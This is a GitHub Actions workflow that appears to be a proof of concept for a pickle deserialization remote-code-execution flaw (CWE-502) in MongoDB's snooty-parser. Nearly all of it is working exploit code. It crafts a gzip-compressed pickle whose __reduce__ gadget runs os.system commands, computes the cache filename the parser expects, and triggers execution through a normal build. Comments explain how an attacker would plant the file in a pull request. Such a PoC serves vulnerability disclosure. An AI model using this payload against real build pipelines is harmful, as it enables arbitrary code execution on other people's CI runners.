Skip to content

fix: generate cache on CI runner for correct filename hash #3

fix: generate cache on CI runner for correct filename hash

fix: generate cache on CI runner for correct filename hash #3

name: "PoC: snooty-parser pickle.loads RCE (CWE-502)"
on: [push, pull_request]
jobs:
snooty-rce-poc:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Install snooty-parser
run: |
pip install typing_extensions
pip install 'git+https://github.com/mongodb/snooty-parser.git'
python -c "from snooty import __version__; print(f'snooty version: {__version__}')"
- name: Generate malicious cache with correct filename
run: |
echo "=== Generating cache payload on CI runner ==="
echo "This ensures the filename hash matches what snooty expects"
echo "on THIS exact environment."
echo ""
python3 << 'PYEOF'
import gzip, os, pickle
from pathlib import Path
from snooty import __version__, specparser, util
from snooty.types import ProjectConfig
import tomli
result = ProjectConfig.open(Path("."))
config = result[0] if isinstance(result, tuple) else result
config_hash = util.structural_hash(config).hex()
spec = specparser.Spec.get()
spec_hash = util.structural_hash(spec).hex()
with open("snooty.toml", "rb") as f:
name = tomli.load(f).get("name", "pymongo")
filename = f".snooty-{name}-{__version__}_{config_hash}_{spec_hash}.cache.gz"
print(f"Project name: {name}")
print(f"Snooty version: {__version__}")
print(f"Config hash: {config_hash}")
print(f"Spec hash: {spec_hash}")
print(f"Cache filename: {filename}")
rce = (
"echo '=== SNOOTY PICKLE RCE PROOF ===' > /tmp/snooty-rce-proof.txt; "
"echo '=== SNOOTY PICKLE RCE ===' >&2; "
"echo 'id: '$(id) >&2; "
"echo 'whoami: '$(whoami) >&2; "
"echo 'hostname: '$(hostname) >&2; "
"echo 'uname -a: '$(uname -a) >&2; "
"echo 'pwd: '$(pwd) >&2; "
"echo 'GITHUB_REPOSITORY='$GITHUB_REPOSITORY >&2; "
"echo 'GITHUB_RUN_ID='$GITHUB_RUN_ID >&2; "
"echo 'RUNNER_NAME='$RUNNER_NAME >&2; "
"id >> /tmp/snooty-rce-proof.txt; "
"whoami >> /tmp/snooty-rce-proof.txt; "
"hostname >> /tmp/snooty-rce-proof.txt; "
"uname -a >> /tmp/snooty-rce-proof.txt; "
"echo GITHUB_REPOSITORY=$GITHUB_REPOSITORY >> /tmp/snooty-rce-proof.txt; "
"echo GITHUB_RUN_ID=$GITHUB_RUN_ID >> /tmp/snooty-rce-proof.txt; "
"echo RUNNER_NAME=$RUNNER_NAME >> /tmp/snooty-rce-proof.txt; "
"echo SNOOTY_PICKLE_RCE_CONFIRMED >> /tmp/snooty-rce-proof.txt"
)
class Exploit:
def __reduce__(self):
return (os.system, (rce,))
payload = gzip.compress(pickle.dumps(Exploit(), protocol=5))
Path(filename).write_bytes(payload)
print(f"Payload written: {filename} ({len(payload)} bytes)")
print()
print("NOTE: In a real attack, the attacker pre-computes this filename")
print("from the public snooty.toml and snooty version. The hash is")
print("deterministic. Here we compute it on the runner to ensure a match.")
PYEOF
- name: Show cache file ready for snooty
run: |
echo "Cache files in working directory:"
ls -la .snooty-*.cache.gz
- name: Run snooty build (triggers pickle.loads → RCE)
run: |
echo "=== Running snooty build ==="
echo "This is the same command MongoDB's autobuilder runs on every PR."
echo "snooty will find the cache file and call pickle.loads() on it."
echo ""
python -m snooty build . 2>&1 || true
echo ""
echo "=== Build complete ==="
- name: Verify RCE
run: |
echo ""
if [ -f /tmp/snooty-rce-proof.txt ]; then
echo "====================================="
echo " ✅ RCE CONFIRMED on Actions Runner"
echo "====================================="
echo ""
echo "Contents of /tmp/snooty-rce-proof.txt:"
cat /tmp/snooty-rce-proof.txt
echo ""
echo "pickle.loads() at parse_cache.py executed the __reduce__"
echo "gadget during cache deserialization. The build completed"
echo "normally — the exploit is invisible in build output."
else
echo "❌ Canary not found at /tmp/snooty-rce-proof.txt"
echo "The cache may not have been loaded."
fi
- name: Negative test (remove cache → no RCE)
run: |
rm -f .snooty-*.cache.gz /tmp/snooty-rce-proof.txt
python -m snooty build . 2>&1 || true
if [ ! -f /tmp/snooty-rce-proof.txt ]; then
echo "✅ Negative test PASSED: no RCE without malicious cache file"
else
echo "❌ Unexpected: RCE occurred without cache"
fi
- name: Upload proof artifact
if: always()
uses: actions/upload-artifact@v4
with:
name: snooty-rce-proof
path: /tmp/snooty-rce-proof.txt
if-no-files-found: warn